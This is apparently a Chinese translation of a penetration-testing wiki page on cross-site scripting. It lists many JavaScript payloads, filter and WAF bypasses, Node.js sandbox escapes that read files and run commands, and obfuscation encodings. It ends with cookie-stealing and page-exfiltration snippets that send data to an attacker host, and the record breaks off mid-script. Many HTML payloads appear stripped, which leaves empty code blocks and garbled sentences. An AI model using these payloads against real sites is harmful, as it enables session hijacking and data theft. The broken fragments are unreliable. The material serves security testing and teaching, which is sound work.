# XSS (跨站脚本攻击)
如果你对**黑客职业**感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!**(_需要流利的波兰语书写和口语能力_)。 {% embed url="https://www.stmcyber.com/careers" %} ## 方法论 1. 检查**你控制的任何值**(_参数_,_路径_,_头部_?,_cookies_?)是否在HTML中被**反射**或被**JS**代码**使用**。 2. **找到反射/使用的上下文**。 3. 如果**被反射**: 1. 检查**你可以使用哪些符号**,并根据此准备有效载荷: 1. 在**原始HTML**中: 1. 你能创建新的HTML标签吗? 2. 你能使用支持`javascript:`协议的事件或属性吗? 3. 你能绕过保护措施吗? 4. HTML内容是否被任何客户端JS引擎(_AngularJS_,_VueJS_,_Mavo_...)解释,你可以利用[**客户端模板注入**](../client-side-template-injection-csti.md)。 5. 如果你不能创建执行JS代码的HTML标签,你能利用[**悬挂标记 - 无HTML脚本注入**](../dangling-markup-html-scriptless-injection/)吗? 2. 在**HTML标签**内: 1. 你能退出到原始HTML上下文吗? 2. 你能创建新的事件/属性来执行JS代码吗? 3. 你被困的属性是否支持JS执行? 4. 你能绕过保护措施吗? 3. 在**JavaScript代码**内: 1. 你能逃离``** 标签之间、`.js` 文件中或使用 **`javascript:`** 协议的属性中被反射: * 如果在 **``** 标签之间反射,即使您的输入在任何类型的引号内,您可以尝试注入 `` 并逃离这个上下文。这是有效的,因为 **浏览器会首先解析 HTML 标签** 然后解析内容,因此,它不会注意到您注入的 `` 标签在 HTML 代码中。 * 如果反射 **在 JS 字符串内**,而最后的技巧不起作用,您需要 **退出** 字符串,**执行** 您的代码并 **重构** JS 代码(如果有任何错误,它将不会被执行): * `'-alert(1)-'` * `';-alert(1)//` * `\';alert(1)//` * 如果在模板字面量中反射,您可以使用 `${ ... }` 语法 **嵌入 JS 表达式**: `` var greetings = `Hello, ${alert(1)}` `` * **Unicode 编码** 可用于编写 **有效的 javascript 代码**: ```javascript \u{61}lert(1) \u0061lert(1) \u{0061}lert(1) ``` #### Javascript Hoisting Javascript Hoisting 指的是**在使用后声明函数、变量或类的机会,因此您可以利用未声明的变量或函数的 XSS 场景。**\ **有关更多信息,请查看以下页面:** {% content-ref url="js-hoisting.md" %} [js-hoisting.md](js-hoisting.md) {% endcontent-ref %} ### Javascript Function 一些网页有端点**接受作为参数的要执行的函数名称**。在实际中常见的例子是类似于:`?callback=callbackFunc`。 找出用户直接提供的内容是否尝试被执行的一个好方法是**修改参数值**(例如改为 'Vulnerable'),并在控制台中查找错误,例如: ![](<../../.gitbook/assets/image (711).png>) 如果它是脆弱的,您可以通过发送值**`?callback=alert(1)`**来**触发一个警报**。然而,这些端点通常会**验证内容**,只允许字母、数字、点和下划线(**`[\w\._]`**)。 然而,即使有这个限制,仍然可以执行一些操作。这是因为您可以使用这些有效字符来**访问 DOM 中的任何元素**: ![](<../../.gitbook/assets/image (747).png>) 一些有用的函数: ``` firstElementChild lastElementChild nextElementSibiling lastElementSibiling parentElement ``` 您还可以尝试直接**触发Javascript函数**:`obj.sales.delOrders`。 然而,通常执行指定函数的端点是没有太多有趣DOM的端点,**同一源中的其他页面**将具有**更有趣的DOM**以执行更多操作。 因此,为了**在不同DOM中滥用此漏洞**,开发了**同源方法执行(SOME)**利用: {% content-ref url="some-same-origin-method-execution.md" %} [some-same-origin-method-execution.md](some-same-origin-method-execution.md) {% endcontent-ref %} ### DOM 有**JS代码**不安全地使用一些**由攻击者控制的数据**,如`location.href`。攻击者可以利用这一点执行任意JS代码。 {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} ### **通用XSS** 这种类型的XSS可以在**任何地方**找到。它们不仅依赖于对Web应用程序的客户端利用,还依赖于**任何****上下文**。这种**任意JavaScript执行**甚至可以被滥用以获得**RCE**,**读取**客户端和服务器中的**任意****文件**,等等。\ 一些**示例**: {% content-ref url="server-side-xss-dynamic-pdf.md" %} [server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md) {% endcontent-ref %} {% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %} [electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) {% endcontent-ref %} ## WAF绕过编码图像 ![来自 https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../.gitbook/assets/EauBb2EX0AERaNK (1).jpg>) ## 在原始HTML中注入 当您的输入被反射**在HTML页面内**或您可以在此上下文中转义并注入HTML代码时,您需要做的**第一**件事是检查是否可以滥用`<`来创建新标签:只需尝试**反射**该**字符**并检查它是否被**HTML编码**或**删除**,或者是否**未更改地反射**。**只有在最后一种情况下,您才能利用此情况**。\ 对于这些情况,还**请记住**[**客户端模板注入**](../client-side-template-injection-csti.md)**。**\ _**注意:HTML注释可以使用\*\*\*\***** ****`-->`**** ****或 \*\*\*\*****`--!>`**_ 在这种情况下,如果没有使用黑/白名单,您可以使用以下有效载荷: ```html ``` 但是,如果使用了标签/属性的黑白名单,您需要**暴力破解可以创建的标签**。\ 一旦您**找到了允许的标签**,您需要**暴力破解有效标签内的属性/事件**,以查看如何攻击该上下文。 ### 标签/事件暴力破解 访问 [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet),然后点击 _**复制标签到剪贴板**_。然后,使用 Burp intruder 发送所有标签,并检查是否有任何标签未被 WAF 识别为恶意。一旦您发现可以使用的标签,您可以使用有效标签**暴力破解所有事件**(在同一网页上点击 _**复制事件到剪贴板**_,并按照之前的程序进行)。 ### 自定义标签 如果您没有找到任何有效的 HTML 标签,您可以尝试**创建一个自定义标签**并使用 `onfocus` 属性执行 JS 代码。在 XSS 请求中,您需要以 `#` 结束 URL,以使页面**聚焦于该对象**并**执行**代码: ``` /?search=#x ``` ### 黑名单绕过 如果正在使用某种黑名单,您可以尝试通过一些愚蠢的技巧来绕过它: ```javascript //Random capitalization alert(1) //Not closing tag, ending with " <" or " //" //Special cases .//https://github.com/evilcos/xss.swf //https://github.com/evilcos/xss.swf ``` 注意,如果你尝试以任何顺序同时使用 `URLencode + HTMLencode` 来编码 **payload**,它 **不会** **工作**,但你可以在 **payload** 中 **混合它们**。 **在 `javascript:` 中使用十六进制和八进制编码** 你可以在 `iframe` 的 `src` 属性中(至少)使用 **十六进制** 和 **八进制编码** 来声明 **HTML 标签以执行 JS**: ```javascript //Encoded: // This WORKS //Encoded: alert(1) // This doesn't work ``` ### 反向标签窃取 ```javascript //No safari //chars allowed between the onevent and the "=" IExplorer: %09 %0B %0C %020 %3B Chrome: %09 %20 %28 %2C %3B Safari: %2C %3B Firefox: %09 %20 %28 %2C %3B Opera: %09 %20 %2C %3B Android: %09 %20 %28 %2C %3B ``` ### XSS 在“不可利用标签”(隐藏输入、链接、规范、元) 从 [**这里**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **现在可以滥用隐藏输入:** ```html
Newsletter popup
``` 从 [**这里**](https://portswigger.net/research/xss-in-hidden-input-fields):只要你能**说服****受害者**按下**键组合**,你就可以在隐藏属性中执行**XSS有效载荷**。在Firefox Windows/Linux上,键组合是**ALT+SHIFT+X**,在OS X上是**CTRL+ALT+X**。你可以使用访问键属性中的不同键指定不同的键组合。这里是向量: ```markup ``` **XSS有效负载将类似于:`" accesskey="x" onclick="alert(1)" x="`** ### 黑名单绕过 本节中已经揭示了几种使用不同编码的技巧。请**返回学习您可以使用的地方:** * **HTML编码(HTML标签)** * **Unicode编码(可以是有效的JS代码):** `\u0061lert(1)` * **URL编码** * **十六进制和八进制编码** * **数据编码** **HTML标签和属性的绕过** 阅读[上一节的黑名单绕过](./#blacklist-bypasses)。 **JavaScript代码的绕过** 阅读[下一节的JavaScript绕过黑名单](./#javascript-bypass-blacklists-techniques)。 ### CSS小工具 如果您在网络的**非常小的部分**发现了**XSS**,并且需要某种交互(可能是页脚中的一个小链接,带有onmouseover元素),您可以尝试**修改该元素占据的空间**以最大化触发链接的概率。 例如,您可以在元素中添加一些样式,如:`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` 但是,如果WAF正在过滤样式属性,您可以使用CSS样式小工具,因此如果您发现,例如 > .test {display:block; color: blue; width: 100%\} 和 > \#someid {top: 0; font-family: Tahoma;} 现在您可以修改我们的链接并将其带入形式 > \ 这个技巧来自于[https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703) ## 在JavaScript代码中注入 在这些情况下,您的**输入**将**反映在.js文件的JS代码**中,或在``标签之间,或在可以执行JS代码的HTML事件之间,或在接受`javascript:`协议的属性之间。 ### 转义\`中,您可以轻松地**转义关闭` ``` 注意,在这个例子中我们**甚至没有关闭单引号**。这是因为**HTML 解析首先由浏览器执行**,这涉及到识别页面元素,包括脚本块。解析 JavaScript 以理解和执行嵌入的脚本是在之后进行的。 ### Inside JS code 如果 `<>` 被清理,你仍然可以**转义字符串**,在你的输入**所在的位置**并**执行任意 JS**。修复 JS 语法是很重要的,因为如果有任何错误,JS 代码将不会被执行: ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` ### 模板字面量 \`\` 为了构造 **字符串**,除了单引号和双引号,JS 还接受 **反引号** **` `` `**。这被称为模板字面量,因为它们允许使用 `${ ... }` 语法 **嵌入 JS 表达式**。\ 因此,如果你发现你的输入在使用反引号的 JS 字符串中被 **反射**,你可以利用语法 `${ ... }` 来执行 **任意 JS 代码**: 这可以通过以下方式 **滥用**: ```javascript `${alert(1)}` `${`${`${`${alert(1)}`}`}`}` ``` ```````````````javascript // This is valid JS code, because each time the function returns itself it's recalled with `` function loop(){return loop} loop`````````````` ``````````````` ### 编码代码执行 ```markup ``` **在注释中的Javascript** ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com ``` **没有括号的JavaScript** ````javascript // By setting location window.location='javascript:alert\x281\x29' x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x // or any DOMXSS sink such as location=name // Backtips // Backtips pass the string as an array of lenght 1 alert`1` // Backtips + Tagged Templates + call/apply eval`alert\x281\x29` // This won't work as it will just return the passed array setTimeout`alert\x281\x29` eval.call`${'alert\x281\x29'}` eval.apply`${[`alert\x281\x29`]}` [].sort.call`${alert}1337` [].map.call`${eval}\\u{61}lert\x281337\x29` // To pass several arguments you can use function btt(){ console.log(arguments); } btt`${'arg1'}${'arg2'}${'arg3'}` //It's possible to construct a function and call it Function`x${'alert(1337)'}x``` // .replace can use regexes and call a function if something is found "a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a," "a".replace.call`1${/./}${alert}` // This happened in the previous example // Change "this" value of call to "1," // match anything with regex /./ // call alert with "1" "a".replace.call`1337${/..../}${alert}` //alert with 1337 instead // Using Reflect.apply to call any function with any argumnets Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function. Reflect.apply.call`${navigation.navigate}${navigation}${[name]}` // Using Reflect.set to call set any value to a variable Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third. // valueOf, toString // These operations are called when the object is used as a primitive // Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used valueOf=alert;window+'' toString=alert;window+'' // Error handler window.onerror=eval;throw"=alert\x281\x29"; onerror=eval;throw"=alert\x281\x29"; {onerror=eval}throw"=alert(1)" //No ";" onerror=alert //No ";" using new line throw 1337 // Error handler + Special unicode separators eval("onerror=\u2028alert\u2029throw 1337"); // Error handler + Comma separator // The comma separator goes through the list and returns only the last element var a = (1,2,3,4,5,6) // a = 6 throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert throw onerror=alert,1,1,1,1,1,1337 // optional exception variables inside a catch clause. try{throw onerror=alert}catch{throw 1} // Has instance symbol 'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval} 'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval} // The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol. ```` * [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) * [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) **任意函数(alert)调用** ````javascript //Eval like functions eval('ale'+'rt(1)') setTimeout('ale'+'rt(2)'); setInterval('ale'+'rt(10)'); Function('ale'+'rt(10)')``; [].constructor.constructor("alert(document.domain)")`` []["constructor"]["constructor"]`$${alert()}``` import('data:text/javascript,alert(1)') //General function executions `` //Can be use as parenthesis alert`document.cookie` alert(document['cookie']) with(document)alert(cookie) (alert)(1) (alert(1))in"." a=alert,a(1) [1].find(alert) window['alert'](0) parent['alert'](1) self['alert'](2) top['alert'](3) this['alert'](4) frames['alert'](5) content['alert'](6) [7].map(alert) [8].find(alert) [9].every(alert) [10].filter(alert) [11].findIndex(alert) [12].forEach(alert); top[/al/.source+/ert/.source](1) top[8680439..toString(30)](1) Function("ale"+"rt(1)")(); new Function`al\ert\`6\``; Set.constructor('ale'+'rt(13)')(); Set.constructor`al\x65rt\x2814\x29```; $='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y) x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y)) this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array) globalThis[`al`+/ert/.source]`1` this[`al`+/ert/.source]`1` [alert][0].call(this,1) window['a'+'l'+'e'+'r'+'t']() window['a'+'l'+'e'+'r'+'t'].call(this,1) top['a'+'l'+'e'+'r'+'t'].apply(this,[1]) (1,2,3,4,5,6,7,8,alert)(1) x=alert,x(1) [1].find(alert) top["al"+"ert"](1) top[/al/.source+/ert/.source](1) al\u0065rt(1) al\u0065rt`1` top['al\145rt'](1) top['al\x65rt'](1) top[8680439..toString(30)](1) ```` ## **DOM 漏洞** 有 **JS 代码** 使用 **由攻击者控制的不安全数据**,如 `location.href`。攻击者可以利用这一点执行任意的 JS 代码。\ **由于对** [**DOM 漏洞的解释扩展,已移至此页面**](dom-xss.md)**:** {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} 在这里你会找到关于 **DOM 漏洞是什么、如何引发以及如何利用它们的详细解释**。\ 此外,别忘了在 **提到的帖子末尾** 你可以找到关于 [**DOM Clobbering 攻击**](dom-xss.md#dom-clobbering) 的解释。 ### 升级自我 XSS ### Cookie XSS 如果你可以通过在 cookie 中发送有效负载来触发 XSS,这通常是自我 XSS。然而,如果你发现一个 **易受 XSS 攻击的子域名**,你可以利用这个 XSS 在整个域中注入一个 cookie,从而在主域或其他子域(易受 cookie XSS 攻击的那些)中触发 cookie XSS。为此,你可以使用 cookie tossing 攻击: {% content-ref url="../hacking-with-cookies/cookie-tossing.md" %} [cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md) {% endcontent-ref %} 你可以在 [**这篇博客文章**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) 中找到对这一技术的极佳利用。 ### 将你的会话发送给管理员 也许用户可以与管理员共享他的个人资料,如果自我 XSS 在用户的个人资料中,而管理员访问了它,他将触发该漏洞。 ### 会话镜像 如果你发现一些自我 XSS,并且网页有 **管理员的会话镜像**,例如允许客户请求帮助,为了帮助你,管理员将看到你在你的会话中看到的内容,但从他的会话中。 你可以让 **管理员触发你的自我 XSS** 并窃取他的 cookies/会话。 ## 其他绕过 ### 规范化 Unicode 你可以检查 **反射值** 是否在服务器(或客户端)中 **进行 Unicode 规范化**,并利用此功能绕过保护。 [**在这里找到一个例子**](../unicode-injection/#xss-cross-site-scripting)。 ### PHP FILTER\_VALIDATE\_EMAIL 标志绕过 ```javascript ">"@x.y ``` ### Ruby-On-Rails 绕过 由于 **RoR 大量赋值**,引号被插入到 HTML 中,然后引号限制被绕过,额外的字段(onfocus)可以被添加到标签内。\ 表单示例([来自此报告](https://hackerone.com/reports/709336)),如果你发送有效负载: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` 该对 "Key","Value" 将被回显如下: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` 然后,将插入 onfocus 属性,并发生 XSS。 ### 特殊组合 ```markup alert(1) alert('XSS') < < String.fromCharCode(88,83,83) \"/\"src=\"/\"onerror=eval(id) (function(x){this[x+`ert`](1)})`al` window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` ### XSS与302响应中的头部注入 如果你发现可以**在302重定向响应中注入头部**,你可以尝试**让浏览器执行任意JavaScript**。这**并不简单**,因为现代浏览器在HTTP响应状态码为302时不会解释HTTP响应体,因此仅仅一个跨站脚本有效载荷是无用的。 在[**这份报告**](https://www.gremwell.com/firefox-xss-302)和[**这份报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)中,你可以阅读如何在Location头部测试多个协议,并查看其中是否有任何协议允许浏览器检查并执行体内的XSS有效载荷。\ 已知的过去协议:`mailto://`、`//x:1/`、`ws://`、`wss://`、_空Location头_、`resource://`。 ### 仅限字母、数字和点 如果你能够指示javascript将要**执行**的**回调**仅限于这些字符。[**阅读这篇文章的这一部分**](./#javascript-function)以了解如何滥用这种行为。 ### 有效的` ``` * **module** (默认,无需解释) * [**webbundle**](https://web.dev/web-bundles/): Web Bundles 是一个功能,您可以将一堆数据(HTML、CSS、JS…)打包到一个 **`.wbn`** 文件中。 ```html The resources are loaded from the source .wbn, not accessed via HTTP ``` * [**importmap**](https://github.com/WICG/import-maps)**:** 允许改进导入语法 ```html ``` 这种行为在 [**这篇文章**](https://github.com/zwade/yaca/tree/master/solution) 中被用来重新映射一个库到 eval,以滥用它可以触发 XSS。 * [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 这个功能主要是为了解决一些由预渲染引起的问题。它的工作原理如下: ```html ``` ### Web Content-Types to XSS (来自 [**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 以下内容类型可以在所有浏览器中执行 XSS: * text/html * application/xhtml+xml * application/xml * text/xml * image/svg+xml * text/plain (?? 不在列表中,但我认为我在 CTF 中见过这个) * application/rss+xml (关闭) * application/atom+xml (关闭) 在其他浏览器中,其他 **`Content-Types`** 可以用来执行任意 JS,查看: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) ### xml Content Type 如果页面返回的是 text/xml 内容类型,可以指示一个命名空间并执行任意 JS: ```xml hello ``` ### 特殊替换模式 当使用类似 **`"some {{template}} data".replace("{{template}}", )`** 的代码时,攻击者可以使用 [**特殊字符串替换**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) 来尝试绕过某些保护措施:``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))`` 例如在 [**这篇文章**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) 中,这被用来 **转义一个 JSON 字符串** 在脚本中并执行任意代码。 ### Chrome 缓存到 XSS {% content-ref url="chrome-cache-to-xss.md" %} [chrome-cache-to-xss.md](chrome-cache-to-xss.md) {% endcontent-ref %} ### XS 监狱逃逸 如果您只能使用有限的字符集,请查看这些其他有效的解决方案以解决 XSJail 问题: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/)) // use of with with(console)log(123) with(/console.log(1)/)with(this)with(constructor)constructor(source)() // Just replace console.log(1) to the real code, the code we want to run is: //return String(process.mainModule.require('fs').readFileSync('flag.txt')) with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt'))) with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n))) with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n))) //Final solution with( /with(String) with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process) with(mainModule) with(require(k)) return(String(readFileSync(n))) /) with(this) with(constructor) constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` 如果在执行不可信代码之前**一切都是未定义的**(就像在[**这篇文章**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)中),可以“凭空”生成有用的对象,以滥用任意不可信代码的执行: * 使用 import() ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8"))) ``` * 间接访问 `require` [根据这个](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050),模块在 Node.js 中被包装在一个函数内,如下所示: ```javascript (function (exports, require, module, __filename, __dirname) { // our actual module code }); ``` 因此,如果我们可以从该模块**调用另一个函数**,则可以从该函数使用 `arguments.callee.caller.arguments[1]` 来访问 **`require`**: {% code overflow="wrap" %} ```javascript (function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})() ``` {% endcode %} 以与前一个示例类似的方式,可以**使用错误处理程序**访问模块的**包装器**并获取**`require`**函数: ```javascript try { null.f() } catch (e) { TypeError = e.constructor } Object = {}.constructor String = ''.constructor Error = TypeError.prototype.__proto__.constructor function CustomError() { const oldStackTrace = Error.prepareStackTrace try { Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace Error.captureStackTrace(this) this.stack } finally { Error.prepareStackTrace = oldStackTrace } } function trigger() { const err = new CustomError() console.log(err.stack[0]) for (const x of err.stack) { // use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter const fn = x.getFunction() console.log(String(fn).slice(0, 200)) console.log(fn?.arguments) console.log('='.repeat(40)) if ((args = fn?.arguments)?.length > 0) { req = args[1] console.log(req('child_process').execSync('id').toString()) } } } trigger() ``` ### 混淆与高级绕过 * **一个页面中的不同混淆:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) * [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) * [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs) * [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) * [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) * [http://www.jsfuck.com/](http://www.jsfuck.com) * 更复杂的 JSFuck: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) * [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) * [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) * [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) ```javascript //Katana ``` ```javascript //JJencode ``` ```javascript //JSFuck ``` ```javascript //aaencode ゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_'); ``` ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` ## XSS 常见有效载荷 ### 多个有效载荷在 1 中 {% content-ref url="steal-info-js.md" %} [steal-info-js.md](steal-info-js.md) {% endcontent-ref %} ### Iframe 陷阱 使用户在页面中导航而不退出 iframe,并窃取其操作(包括在表单中发送的信息): {% content-ref url="../iframe-traps.md" %} [iframe-traps.md](../iframe-traps.md) {% endcontent-ref %} ### 获取 Cookies ```javascript /?c="+document.cookie> ``` {% hint style="info" %} 如果在cookie中设置了HTTPOnly标志,您**将无法通过JavaScript访问cookie**。但在这里,如果您足够幸运,您可以[绕过此保护的某些方法](../hacking-with-cookies/#httponly)。 {% endhint %} ### 偷取页面内容 ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"; var attacker = "http://10.10.14.8/exfil"; var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { 